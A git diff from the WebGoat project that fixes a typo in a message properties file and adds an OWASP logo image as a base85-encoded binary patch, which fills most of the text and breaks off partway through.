a/webgoat-container/src/main/resources/i18n/messages.properties b/webgoat-container/src/main/resources/i18n/messages.properties index 442a4d35b..d58990c3e 100644 --- a/webgoat-container/src/main/resources/i18n/messages.properties +++ b/webgoat-container/src/main/resources/i18n/messages.properties @@ -24,7 +24,7 @@ # lesson.completed=Congratulations. You have successfully completed this lesson. -assignment.solved=Congratulations. You have successfully complete the assignment. +assignment.solved=Congratulations. You have successfully completed the assignment. assignment.not.solved=Sorry the solution is not correct, please try again. RestartLesson=Restart this Lesson SolutionVideos=Solution Videos diff --git a/webgoat-container/src/main/resources/static/css/img/owasp_logo.jpg b/webgoat-container/src/main/resources/static/css/img/owasp_logo.jpg new file mode 100644 index 0000000000000000000000000000000000000000..1f98298c8b714eaa6a2fd9f3d19b68156a9fb78f GIT binary patch literal 57346 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 